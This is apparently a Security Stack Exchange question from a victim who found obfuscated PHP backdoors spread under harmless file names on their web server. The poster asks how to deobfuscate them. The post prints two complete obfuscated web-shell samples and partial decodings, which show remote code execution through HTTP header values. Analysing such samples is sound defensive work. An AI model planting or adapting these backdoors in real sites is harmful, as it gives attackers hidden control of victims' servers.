1

I found 3 php files in a htaccess-password-protected upload folder on my server:

 1. default_folders.php
 2. factory.php
 3. HMAC.php

Each of them contains a variable string, eg:

$Ssy='XEYP'|~djJjLkpBgK4;$Virhp='I@$'|hD1;$Uu5f9="~5q=".h9weU."((6."^#x5VexmnkagI9a'.
     '4b.o7@((&G[aA';$nUv9CYo5id='@@DP'|HTTP;$ujR=UA|'J@';$kHr_tql='..n'^'vZ-';'rja'.
     'g J9XEmx7';$EhtjdM=Oe28.'~2'|'k!'.dE2t;$xQ8f8KBXUBG='w{{q{'._mqq&'i~~i{'./*uA'.
     '(cY*/_myw;$z5=AFD8SyFOB^'613W.&; >';$KNRdHxnCu7='{~o}v}'._ouosv.'}oo'&"{~"./*'.
     '^~kr*/uuww_o."}~k~ioo";$Q6Gzag3327='$'.UDH5b.' 51ZJ"BR@d K  `'.bbDPAHDY.#lSnw'.
     '^JB'|'"ED@4Q0T<ZC JQT +Lh.P3@@!'.YILHJPB;$P6JsS0J='t1r.tvW]^o{F{6nVI{'./*TfvX'.
     'a+?6g*/_MfOWqok.',~}{~w'&'Lyw;'.ZDRO_o.'}o{6|^|{~'.jVkvvEnmun.':jw';'zqJ5c9ES'.
     '^U>0h%';$E9LcuYx='r%x!ir~'.py4l5m^':q,y6*!/"}3y3';$hAbH8rvGS='%'|'1';$S5G='45'.
     '1 01#&'|'&0"83$12';$Xt8sci4vYB2=(ZAL^'ve|')|$Virhp;$yzPne79=$EhtjdM&(#hj53qX5'.
     'wu}on~'&'ww|g~v');$NazHNL=$xQ8f8KBXUBG&$z5;$r_Z08N=(sswo.'}'.e_fw.'~{|ko~'&/*'.
     'Z*/owwy.'}'.g_vw.'~{}yo~')&$KNRdHxnCu7;$EWPn=("!AS.-uG)Q8"^'@2!OT*)R<D')&('uX'.
     'r#$'.VGiN.'$'|'x"jC}'.Kembh);$qhdm0=$Q6Gzag3327^$P6JsS0J;$c0XPM9klj8q=/*PENSF'.
     'Ff0{Sn=*/$E9LcuYx&$Uu5f9;$Xt8sci4vYB2($yzPne79($nUv9CYo5id.$ujR))==$qhdm0;'zb'.
     'aQIqBuY';$NazHNL($r_Z08N(null,$yzPne79($c0XPM9klj8q)),$EWPn($hAbH8rvGS./*paAC'.
     'nu!A>*/$S5G,1,$kHr_tql));#wYq+l&fmIo6^{vCH;]A(Hq*&Os|8zIa.t<@7j=ff_u{=yS|lbd'.
     'Eo,_mx1mxlieUNG);1|}n<-)ne1S)[g&d0uKQ<[N_-Fvp{mz&gb58tVn.$g:!8I';

I've managed to deobfuscate partially:

md5(getenv(HTTP_A))=='bd6be7b8c52d1e82c46f684443e85d05';'zb'.
 'aQIqBuY';array_map(create_function(null,getenv("HTTP_X_MSISDN")),array_fill($hAbH8rvGS./*paAC'.
 'nu!A>*/65383536,1,$kHr_tql));#wYq+l&fmIo6^{vCH;]A(Hq*&Os|8zIa.t<@7j=ff_u{=yS|lbd'.
 'Eo,_mx1mxlieUNG);1|}n<-)ne1S)[g&d0uKQ<[N_-Fvp{mz&gb58tVn.$g:!8I';

Does anyone know of a decoder for obfuscated php code that will work comprehensively? I have referenced similar source but didn't find them exceptionally helpful:

  1. Obfuscated php code found on server
  2. What does this malicious PHP script do?

Update (23 April 2015)

I found that it's not just these 3 files, but hundreds of files infesting deep nested directories of my web server.

Here are some of the file names of malicious PHP codes:

1. tcpdf_config.php
2. config_seo.php
3. pcltrace.lib.php
4. router.php
5. tinymce.php
6. mailto.php
7. ParanoidHTTPFetcher.php
8. Parse.php
9. xml_domit_nodemaps.php 
10. xml_saxy_shared.php
11. Renderer.php
12. ShortModifiers.php
13. strcasecmp.php
14. xmlrpc_wrappers.php
15. Nonce.php
16. strspn.php
17. IPv6.php
18. php_file_utilities.php
19. php_http_status_codes.php
20. plupload.flash.swf

...

Sample code of tcpdf_config.php:

<?php
$FZbD8L='EGuiUTb'&~FmJmI8;$a6Kda1pMgq='$@L'|'(H@';$zMoimIc='" %7 !13 "F&$$D 2"(`  B0$$'.
        '004 $#'|'2"!#001 $"D60%F! #9d 0B43 100 $#';$RaNu0EH='w3?;7()+=Ld>1'.so23r.'(u'.
        'E;s$5=r07<vS'&'78'.uur1.':'.cwsx5.'{`"2>'.kkgv1f.'|}u=<?:fC';$hcu5kmqUf03=/*F'.
        '0c$*/H|'@';$wsWch_RLsj='ip`k;'^'=$04z';$F8Uqy6cUn=('O)dt{R'&'Jc/?KN')^(#kEGJJ'.
        'Mn "CK'^'t;'.vuey);$ll6pVdJQF=$a6Kda1pMgq^(mN9^',b@');$i8u=(mcUkn.'*'^#rot0G8'.
        '.&u/"H')|('>'.G94G9^'["'.MUeO);$Ldmr4vJuFCr=('V+'.Hz5qW.'-96ps$Z'^'7J$^'./*XW'.
        'rUPeh-vnb5*/uTeIIw6.'&@:')|('Os[P.4?c:'.jewD.'}'^'l3w<qE|&'.h5EV.'.^');$eE=(#'.
        '7H`44hE9!@{du1~'^'|h]d~5*'.bvk657.'|3')^('D)$'.YJPQQzsPn.'][J'^'l{|'./*rIn8Z9'.
        '1_r$R*/hthalX6.'~'.Kvyi);$drhyJoFD=$zMoimIc|$RaNu0EH;$BgP=(SLBvv.'(. ~b-'./*g'.
        '@rx%t*/O3nb.'$~'^'<:>$)sq]M-r"d%1q1')&('H]@'.HTlO.'@'.scWEBtSDf|XQV0_xUJ.'#EZ'.
        'M[]JD*');if($F8Uqy6cUn($ll6pVdJQF($i8u($hcu5kmqUf03.$wsWch_RLsj)),/*P2_kjjC2G'.
        '2]N]WvTS1:*/$drhyJoFD))exit;$Ldmr4vJuFCr($eE(false,$i8u($BgP)));#hT9e4H*2^BR'.
        'V+mUjM#N=8#zU ,Q1syDZ+b%a(K*+9F[NH~!ev|M~TyFuNXq%hMP&8T3';

and what I deobfuscate of it:

call_user_func(create_function(false, getenv('HTTP_X_H3G_MSISDN')));

I suspect this code has something to do with mobile hacking. And I am aware that the hacker could find this page easily by googling his own code.

My deobfuscating is still not comprehensive and I need advice on that. I want this post to offer a method of deobfuscating for other victims, then advise protection mechanisms.

closed as unclear what you're asking by gowenfawr, Jeff Ferland Apr 16 '15 at 17:46

Please clarify your specific problem or add additional details to highlight exactly what you need. As it's currently written, it’s hard to tell exactly what you're asking. See the How to Ask page for help clarifying this question. If this question can be reworded to fit the rules in the help center, please edit the question.

  • possible duplicate of What does this malicious PHP script do? – gowenfawr Apr 16 '15 at 16:54
  • 2
    While the exact script is likely different, @armani's answer here is an excellent view of how these scripts can be unraveled. – gowenfawr Apr 16 '15 at 16:56
  • @gowenfawr Should we make a canonical answer? – schroeder Apr 16 '15 at 17:25
  • hey, thanks for your inputs. I am unable to decode the obfuscated code still trying multiple online resources. Any advice? – George Apr 16 '15 at 17:26
  • @schroeder it's the best answer I've seen to that effect, so it would make sense to me. – gowenfawr Apr 16 '15 at 17:36